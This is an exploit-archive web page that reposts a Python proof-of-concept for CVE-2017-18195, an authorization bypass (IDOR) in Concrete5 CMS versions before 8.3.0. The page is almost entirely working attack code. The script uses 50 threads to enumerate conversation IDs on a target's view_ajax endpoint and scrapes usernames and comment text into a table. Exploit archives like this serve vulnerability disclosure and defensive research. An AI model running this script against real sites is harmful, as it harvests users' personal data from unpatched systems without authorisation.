首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Concrete5 < 8.3.0 - Username / Comments Enumeration
来源:vfocus.net 作者:Schleiss 发布时间:2018-02-28  

#!/usr/bin/env python3

# Concrete5 < 8.3 vulnerable to Authorization Bypass Through User-Controlled Key (IDOR)
# CVE-2017-18195
# Chapman (R3naissance) Schleiss

from queue import Queue
from threading import Thread
from bs4 import BeautifulSoup
from tabulate import tabulate
import argparse
import requests
import logging

parser = argparse.ArgumentParser(
    description="This script attempts to enumerate all comments from a vulnerable Concrete5 CMS.",
)
parser.add_argument('-u','--url', action='store', dest='url', required=True,
     help="This is the url to attack. Typically http://example.com/index.php/tools/required/conversations/view_ajax")
parser.add_argument('-s','--start', action='store', type=int, dest='start_id',
                    help='Where to start enumeration')
parser.add_argument('-e','--end', action='store', type=int, dest='end_id',
                    help='Where to end enumeration')
parser.add_argument('-v','--verbose', action='store_true', dest='verbose',
                    help='This boolean flag will trigger all raw information to stdout')
args = parser.parse_args()

if args.verbose:
 logging.basicConfig(level=logging.DEBUG, format='[%(levelname)s] - %(threadName)s - %(message)s')
else:
 logging.basicConfig(level=logging.INFO, format='[%(levelname)s] %(message)s')

if args.start_id is None:
 args.start_id = 1
if args.end_id is None:
 args.end_id = 10

def crawl(q, result):
 while not q.empty():
  work = q.get()
  logging.debug("Requesting cnvID: " + str(work))
  try:
   response = requests.post(args.url, data={'cnvID': work, 'cID': 1}, timeout=300)
   logging.debug("Requested cnvID: %s [%s]", str(work), str(response.status_code))
   if response.status_code < 400 or response.status_code > 499:
    logging.debug("Parsing html and adding comments to results list")
    soup = BeautifulSoup(response.text, 'html.parser')
    username = soup.find_all('span', {'class': 'ccm-conversation-message-username'})
    message = soup.find_all('div', {'class': 'ccm-conversation-message-body'})
    for i in range(len(username)):
     results.append((work, username[i].text.strip(), message[i].text.strip()))
   logging.info("Completed cnvID: " + str(work))
  except:
   logging.error('Error getting cnvID: ' + str(work))
  q.task_done()
 return True

q = Queue(maxsize=0)

enum = range(args.start_id, args.end_id + 1)
num_theads = min(50, len(enum))

results = []
for i in enum:
 q.put(i)

for i in range(num_theads):
 logging.debug('Starting thread ' + str(i))
 worker = Thread(target=crawl, args=(q, results), name="Thread: " + str(i))
 worker.setDaemon(True)
 worker.start()

logging.debug('Waiting for final threads to complete')
q.join()

logging.info('Enumeration complete')

print(tabulate(results, headers=('cnvID', 'username', 'message'), tablefmt='grid'))


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Windows Windows 8.1/
·Apple iOS 11.2.5 / watchOS 4.2
·GetGo Download Manager 5.3.0.2
·Sony Playstation 4 (PS4) 4.07
·Sony Playstation 4 4.55 FW - L
·ActivePDF Toolkit Code Executi
·Asterisk 15.2.0 chan_pjsip INV
·IrfanView 4.44 Email Plugin -
·Asterisk 15.2.0 chan_pjsip SDP
·IrfanView 4.50 Email Plugin -
·Asterisk 15.2.0 chan_pjsip SDP
·SEGGER embOS/IP FTP Server 3.2
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved